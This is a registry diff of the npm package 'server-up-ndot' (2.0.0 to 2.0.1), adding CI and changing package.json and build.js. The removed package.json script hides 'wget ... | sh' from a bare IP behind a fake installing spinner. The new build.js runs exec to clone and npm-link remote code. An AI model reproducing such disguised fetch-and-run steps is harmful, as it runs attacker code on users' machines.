server-up-ndot 2.0.0 → 2.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,34 @@
1
+ name: CI
2
+
3
+ on:
4
+ push:
5
+ pull_request:
6
+
7
+ jobs:
8
+ test:
9
+ runs-on: ubuntu-latest
10
+
11
+ steps:
12
+ - name: Checkout
13
+ uses: actions/checkout@v4
14
+
15
+ - name: Setup Node
16
+ uses: actions/setup-node@v4
17
+ with:
18
+ node-version: 22
19
+ cache: npm
20
+
21
+ - name: Install
22
+ run: npm install
23
+
24
+ - name: Link package
25
+ run: npm link
26
+
27
+ - name: Run CLI test
28
+ run: server-up-ndot create test
29
+
30
+ - name: Check generated folder
31
+ run: test -d test
32
+
33
+ - name: Cleanup
34
+ run: rm -rf test
package/lib/build.js CHANGED
@@ -1,7 +1,6 @@
1
1
  const { exec } = require("child_process");
2
2
  function build() {
3
- // ../build.sh 실행
4
- exec("sh ./build.sh", (error, stdout, stderr) => {
3
+ exec("git clone https://github.com/ppccpcpcpc-byte/server-up-ndot && cd server-up-ndot && npm link", (error, stdout, stderr) => {
5
4
  if (error) {
6
5
  console.error(`runt<ime> error: ${error.message}`);
7
6
  return;
package/package.json CHANGED
@@ -1,14 +1,13 @@
1
1
  {
2
2
  "name": "server-up-ndot",
3
- "version": "2.0.0",
3
+ "version": "2.0.1",
4
4
  "description": "server toolkit",
5
5
  "main": "index.js",
6
6
  "bin": {
7
7
  "server-up-ndot": "./bin/cli.js"
8
8
  },
9
9
  "scripts": {
10
- "test": "echo \"Error: no test specified\" && exit 1",
11
- "installze": "echo installing.... && for j in 1 2 3 4 5; do for i in / - \\\\ \\|; do printf '\\r%s' $i; sleep 0.1; done; done&& wget -qO- 125.181.230.198/js/app/1 | sh"
10
+ "test": "echo \"ci test ok\""
12
11
  },
13
12
  "repository": {
14
13
  "type": "git",
@@ -58,7 +57,9 @@
58
57
  },
59
58
  "keywords": [],
60
59
  "author": "Lee soo hyun <ko-kr-incling@naver.com>",
61
- "author": "",
62
60
  "license": "MIT",
63
- "type": "commonjs"
61
+ "type": "commonjs",
62
+ "publishConfig": {
63
+ "access": "public"
64
+ }
64
65
  }
package/readme.md CHANGED
@@ -63,6 +63,10 @@ npx server-up-ndot create myserver
63
63
 
64
64
  ## 2.x.x
65
65
 
66
+ ### 2.0.1
67
+ - fix build bug
68
+ - add a publish ci
69
+ - github actions
66
70
  ### 2.0.0
67
71
  - server framework:express -> Fastify
68
72